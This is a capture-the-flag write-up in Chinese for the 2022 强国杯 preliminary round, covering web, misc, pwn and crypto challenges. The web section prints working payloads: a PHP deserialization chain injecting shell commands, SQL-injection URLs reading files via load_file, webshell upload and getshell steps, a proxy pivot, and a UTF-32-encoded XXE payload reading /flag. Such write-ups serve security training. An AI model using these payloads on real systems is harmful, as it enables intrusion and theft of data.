2022强国杯技术技能大赛初赛wp
Rank: 10,(东部赛区太卷了吧)
web
upload_lol
先传.htaccess,再传图片马,getshell
有个内容检测,php版本为5,用script标签绕过即可
ezpop_new
源码
1 |
|
从入口先到__destruct()
,往下走只能是echo触发__toString
或者$this->c->b
,对于$this->c
触发__get
,这里显然只有__get
能用
但是进入__get
中利用的部分需要条件if($this->flag)
,显然
1 |
|
会阻碍这个条件成立
由于题目中的PHP版本合适,可以采用修改超过成员数目来绕过wakeup
payload:?pop=O:5:"Alice":1:{s:1:"c";O:3:"Bob":2:{s:4:"flag";b:1;}}
进入下一个利用部分,考察反序列化字符串替换溢出
利用点在
1 |
|
而此又需要从
1 |
|
触发
但是此处的赋值是无法实现这个功能的
1 |
|
利用点在
1 |
|
其中的filter会对反序列化后的字符串进行特定值替换,然后再解压
所以可以通过赋值特定字符串触发filter中的过滤实现溢出,从而达到后面自PingUtils类到filter这条链的利用
因为序列化后的字符串中是依靠特定位置的数字来标示其后的属性内容的长度,这个非等长替换就会导致在反序列化解析时出现整体的偏移,原本的作为结构的部分被偏移到属性内容的部分,属性内容的部分值又会偏移视为结构的部分
构造足够多的非等长替换,就能偏移出一个完整结构部分,在里面定义出需要的属性
一个序列化后的字符串如果存在多余无法正常解析的部分,这部分前面如果能被正常解析,那么多余部分在解析时会被抛弃掉,所以构造产生多余数据不用担心,会被忽略掉
构造出payload:someone=freadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfread|ls /";s:5:"phone";O:9:"PingUtils":0:{}}
对于payload来说,在filter
替换前$cindy->someone
属性的值序列化字符串表示是 s:5:"cindy";s:224:"PAYLOADSTRING...."
这样
但是filter
替换会把fread
换成nonono
即长度5
的字符串变成长度6
但此时$cindy->someone
属性用来表示其值 这一字符串的长度的数字还是224
没变
但实际上替换后值字符串的总长度由224
变成了224+35
(有35个fread替换为了nonono)
所以反序列化只会取值字符串前224
个字符作为$cindy->someone
属性反序列化后的值
剩下35
则会被当成反序列化字符串中的结构部分杯解析
即在PHP看来整个字符串是这样的"cindy";s:224:"AfterPayloadString...";s:5:"phone";O:9:"PingUtils":0:{}}
在cindy
属性后面还有一个属性phone
,其值是个名为PingUtils
的对象
注意最末尾的}
.这个将于整个反序列化字符串开始的{
闭合,PHP将把这个看作反序列化字符串的结尾
只有后面的内容由于结构不完整PHP并不会解析,而是直接抛弃并且不会产生任何报错
读取flag:?pop=O:5:"Alice":1:{s:1:"c";O:3:"Bob":2:{s:4:"flag";b:1;}}&someone=freadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfread|nl /*";s:5:"phone";O:9:"PingUtils":0:{}}
file_sql_new
赛后复现
sql注入,过滤了一次select
双写select绕过
payload:
http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seselectlect(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),3%23
http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(selselectect(group_concat(column_name))from(information_schema.columns)where((table_name)=(%27fl4g%27))),3%23
http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seselectlect(fllllag)from(fl4g)),3%23
http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seleselectct(hex(load_file(%22/var/www/html/flag.php%22)))),3%23
得到3C3F7068700A0A24666C6167203D207B6C69726768793864757370717A6A6631623735636E6561773330343974766D787D3B0A6563686F20226161223B0A3F3E0A
,转字符串即可得到flag
ezweb_new
赛后复现
1 |
|
上来有个小陷阱,在传参的地方,用鼠标选,会发现注释处左右的字符串不受你控制,这里考的就是unicode
字符串了
当复制代码进某些编辑器中可以看到识别到了一些Unicode
字符串,参数很明显不是whoami
了
将[U+202E]
等进行Url编码,得到%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami
继续往下看,可以有两种方法做
方法一:
PHP崩溃getshell
使php崩溃后保留下临时文件,然后利用scandir
查文件名,最后包含达到getshell
写马:
1 |
|
查文件名:http://82.157.177.192:46728/?%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=1&__=/tmp/
getshell:http://82.157.177.192:46728/??%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=/tmp/phpsxtpjV
方法二:
filter构造一句话rce
师傅们如果生成出来的payload不能用的话可以试试切换系统,比如用ubuntu或者kali或者debian试试(不要用windows,因为在windows下文件名不区分大小写),还有php版本尽量跟题目保持一致,否则服务器上的iconv默认支持和靶机不一样,就会无效。要是还不行就试试项目中的fuzzer.php,重新构造下(我构造这个花了一天的时间,呜呜呜)
我的poc
1 |
|
用上面两种方法都能getshell,但是会发现读不了flag,没权限
用ps -aux
命令看下进程,发现root用户开了个tomcat
服务
curl试一下tomcat的默认8080端口,有内容
但是命令行不好做题,就先考虑代理出来
web根目录下传个proxy.php
,注意修改下地址
1 |
|
之后访问http://IP:PORT/proxy.php/index
,就相当于访问http://InnerIP:InnerPORT/index
抓包一看,很明显的XXE
fuzz一下,可恶,竟然还有waf
可以利用编码转换绕过waficonv -f utf8 -t UTF-32LE 1.xml > 2.xml
这里放一个编码后的payload(本地dtd读文件报错带flag):%3C%00%00%00%3F%00%00%00x%00%00%00m%00%00%00l%00%00%00+%00%00%00v%00%00%00e%00%00%00r%00%00%00s%00%00%00i%00%00%00o%00%00%00n%00%00%00%3D%00%00%00%22%00%00%001%00%00%00.%00%00%000%00%00%00%22%00%00%00+%00%00%00%3F%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%21%00%00%00D%00%00%00O%00%00%00C%00%00%00T%00%00%00Y%00%00%00P%00%00%00E%00%00%00+%00%00%00m%00%00%00e%00%00%00s%00%00%00s%00%00%00a%00%00%00g%00%00%00e%00%00%00+%00%00%00%5B%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%25%00%00%00+%00%00%00l%00%00%00o%00%00%00c%00%00%00a%00%00%00l%00%00%00_%00%00%00d%00%00%00t%00%00%00d%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%22%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00t%00%00%00m%00%00%00p%00%00%00%2F%00%00%001%00%00%00.%00%00%00d%00%00%00t%00%00%00d%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%25%00%00%00+%00%00%00c%00%00%00o%00%00%00n%00%00%00d%00%00%00i%00%00%00t%00%00%00i%00%00%00o%00%00%00n%00%00%00+%00%00%00%27%00%00%00a%00%00%00a%00%00%00a%00%00%00%29%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%22%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00f%00%00%00l%00%00%00a%00%00%00g%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00e%00%00%00v%00%00%00a%00%00%00l%00%00%00+%00%00%00%22%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%006%00%00%00%3B%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00e%00%00%00r%00%00%00r%00%00%00o%00%00%00r%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%007%00%00%00%3B%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00n%00%00%00o%00%00%00n%00%00%00e%00%00%00x%00%00%00i%00%00%00s%00%00%00t%00%00%00e%00%00%00n%00%00%00t%00%00%00%2F%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3B%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%007%00%00%00%3B%00%00%00%3E%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00e%00%00%00v%00%00%00a%00%00%00l%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00e%00%00%00r%00%00%00r%00%00%00o%00%00%00r%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00L%00%00%00E%00%00%00M%00%00%00E%00%00%00N%00%00%00T%00%00%00+%00%00%00a%00%00%00a%00%00%00+%00%00%00%28%00%00%00b%00%00%00b%00%00%00%27%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%25%00%00%00l%00%00%00o%00%00%00c%00%00%00a%00%00%00l%00%00%00_%00%00%00d%00%00%00t%00%00%00d%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00%5D%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00n%00%00%00a%00%00%00m%00%00%00e%00%00%00%3E%00%00%00f%00%00%00l%00%00%00a%00%00%00g%00%00%00%3C%00%00%00%2F%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00n%00%00%00a%00%00%00m%00%00%00e%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00p%00%00%00a%00%00%00s%00%00%00s%00%00%00w%00%00%00o%00%00%00r%00%00%00d%00%00%00%3E%00%00%00r%00%00%00o%00%00%00o%00%00%00t%00%00%00%3C%00%00%00%2F%00%00%00p%00%00%00a%00%00%00s%00%00%00s%00%00%00w%00%00%00o%00%00%00r%00%00%00d%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%2F%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00%3E%00%00%00
misc
Welcome_to_QGB
V2VsY29tZV90b19RR0I=
base64解码得到Welcome_to_QGB
找找GIF
伪加密,09->00,取出aaa
aaa添加后缀png,修改高度,得到压缩包密码:okv90D%&ffgbd
解压得到bbb,添加gif头GIF89a
,得到flag
大佬大佬
lsb提取出png
修改高度得到flag
The fun picture
爆破得到密码gh89
FUN添加后缀zip,解压后文件补上png头89 50 4e 47
,得到二维码
扫码得到ZmxhZ3tycjkwZm5uZW1kZnUwOGdma2ttdmVtZGszZm12NmZnYX0=
base64解码得到flag
B@tCh
赛后复现
BatchEncryption
混淆的批处理文件
特征一般是开头的两个字节为0xFF
、0xFE
,存在类似BatchEncryption Build 201610 By gwsbhqt@163.com
的作者信息
本题将作者信息去除了
解密脚本,来自https://blog.csdn.net/Hunter98234/article/details/108672926
1 |
|
修改下脚本,使它能适用于本题
因为附件中没有Build 201610 By....
这串信息,所以将个判断去掉(17-19)
没有这个字符串后,bat内容也会从相应的60变为9(从@开始)
95行改为文件名
运行解密得到flag
pwn
qqjs_new
非预期解
ida分析,看到import * as std from 'std'
和import * as os from 'os'
所以输入os
会返回模块中的函数
发现存在readdir
,可以读目录
找到flag文件位置/home/ctf/flag
std
模块中存在loadFile
函数,可以读文件
读flag
crypto
babyRSA
赛后复现
1 |
|